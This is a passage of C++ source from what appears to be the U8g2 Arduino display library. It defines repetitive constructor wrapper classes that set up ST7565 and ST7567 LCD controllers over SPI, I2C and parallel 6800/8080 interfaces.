u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_EA_DOGM132_2_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_EA_DOGM132_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm132_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_EA_DOGM132_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_EA_DOGM132_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm132_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_EA_DOGM132_2_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_EA_DOGM132_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm132_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_EA_DOGM132_2_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_EA_DOGM132_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm132_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_EA_DOGM132_2_6800 : public U8G2 { public: U8G2_ST7565_EA_DOGM132_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm132_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_EA_DOGM132_2_8080 : public U8G2 { public: U8G2_ST7565_EA_DOGM132_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm132_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_EA_DOGM132_F_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_EA_DOGM132_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm132_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_EA_DOGM132_F_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_EA_DOGM132_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm132_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_EA_DOGM132_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_EA_DOGM132_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm132_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_EA_DOGM132_F_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_EA_DOGM132_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm132_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_EA_DOGM132_F_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_EA_DOGM132_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm132_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_EA_DOGM132_F_6800 : public U8G2 { public: U8G2_ST7565_EA_DOGM132_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm132_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_EA_DOGM132_F_8080 : public U8G2 { public: U8G2_ST7565_EA_DOGM132_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm132_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_PI_132X64_1_4W_SW_SPI : public U8G2 { public: U8G2_ST7567_PI_132X64_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_pi_132x64_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7567_PI_132X64_1_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_PI_132X64_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_pi_132x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_PI_132X64_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_PI_132X64_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_pi_132x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_PI_132X64_1_3W_SW_SPI : public U8G2 { public: U8G2_ST7567_PI_132X64_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_pi_132x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7567_PI_132X64_1_3W_HW_SPI : public U8G2 { public: U8G2_ST7567_PI_132X64_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_pi_132x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7567_PI_132X64_1_6800 : public U8G2 { public: U8G2_ST7567_PI_132X64_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_pi_132x64_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_PI_132X64_1_8080 : public U8G2 { public: U8G2_ST7567_PI_132X64_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_pi_132x64_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_PI_132X64_2_4W_SW_SPI : public U8G2 { public: U8G2_ST7567_PI_132X64_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_pi_132x64_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7567_PI_132X64_2_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_PI_132X64_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_pi_132x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_PI_132X64_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_PI_132X64_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_pi_132x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_PI_132X64_2_3W_SW_SPI : public U8G2 { public: U8G2_ST7567_PI_132X64_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_pi_132x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7567_PI_132X64_2_3W_HW_SPI : public U8G2 { public: U8G2_ST7567_PI_132X64_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_pi_132x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7567_PI_132X64_2_6800 : public U8G2 { public: U8G2_ST7567_PI_132X64_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_pi_132x64_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_PI_132X64_2_8080 : public U8G2 { public: U8G2_ST7567_PI_132X64_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_pi_132x64_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_PI_132X64_F_4W_SW_SPI : public U8G2 { public: U8G2_ST7567_PI_132X64_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_pi_132x64_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7567_PI_132X64_F_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_PI_132X64_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_pi_132x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_PI_132X64_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_PI_132X64_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_pi_132x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_PI_132X64_F_3W_SW_SPI : public U8G2 { public: U8G2_ST7567_PI_132X64_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_pi_132x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7567_PI_132X64_F_3W_HW_SPI : public U8G2 { public: U8G2_ST7567_PI_132X64_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_pi_132x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7567_PI_132X64_F_6800 : public U8G2 { public: U8G2_ST7567_PI_132X64_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_pi_132x64_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_PI_132X64_F_8080 : public U8G2 { public: U8G2_ST7567_PI_132X64_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_pi_132x64_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_PI_132X64_1_SW_I2C : public U8G2 { public: U8G2_ST7567_PI_132X64_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_pi_132x64_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7567_PI_132X64_1_HW_I2C : public U8G2 { public: U8G2_ST7567_PI_132X64_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_pi_132x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7567_PI_132X64_1_2ND_HW_I2C : public U8G2 { public: U8G2_ST7567_PI_132X64_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_pi_132x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7567_PI_132X64_2_SW_I2C : public U8G2 { public: U8G2_ST7567_PI_132X64_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_pi_132x64_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7567_PI_132X64_2_HW_I2C : public U8G2 { public: U8G2_ST7567_PI_132X64_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_pi_132x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7567_PI_132X64_2_2ND_HW_I2C : public U8G2 { public: U8G2_ST7567_PI_132X64_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_pi_132x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7567_PI_132X64_F_SW_I2C : public U8G2 { public: U8G2_ST7567_PI_132X64_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_pi_132x64_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7567_PI_132X64_F_HW_I2C : public U8G2 { public: U8G2_ST7567_PI_132X64_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_pi_132x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7567_PI_132X64_F_2ND_HW_I2C : public U8G2 { public: U8G2_ST7567_PI_132X64_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_i2c_pi_132x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7567_JLX12864_1_4W_SW_SPI : public U8G2 { public: U8G2_ST7567_JLX12864_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7567_JLX12864_1_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_JLX12864_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_JLX12864_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_JLX12864_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_JLX12864_1_3W_SW_SPI : public U8G2 { public: U8G2_ST7567_JLX12864_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7567_JLX12864_1_3W_HW_SPI : public U8G2 { public: U8G2_ST7567_JLX12864_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7567_JLX12864_1_6800 : public U8G2 { public: U8G2_ST7567_JLX12864_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_jlx12864_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_JLX12864_1_8080 : public U8G2 { public: U8G2_ST7567_JLX12864_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_ENH_DG128064_1_4W_SW_SPI : public U8G2 { public: U8G2_ST7567_ENH_DG128064_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7567_ENH_DG128064_1_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_ENH_DG128064_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_ENH_DG128064_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7567_ENH_DG128064_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7567_ENH_DG128064_1_3W_SW_SPI : public U8G2 { public: U8G2_ST7567_ENH_DG128064_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7567_ENH_DG128064_1_3W_HW_SPI : public U8G2 { public: U8G2_ST7567_ENH_DG128064_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7567_ENH_DG128064_1_6800 : public U8G2 { public: U8G2_ST7567_ENH_DG128064_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7567_ENH_DG128064_1_8080 : public U8G2 { public: U8G2_ST7567_ENH_DG128064_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7567_enh_dg128064_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class 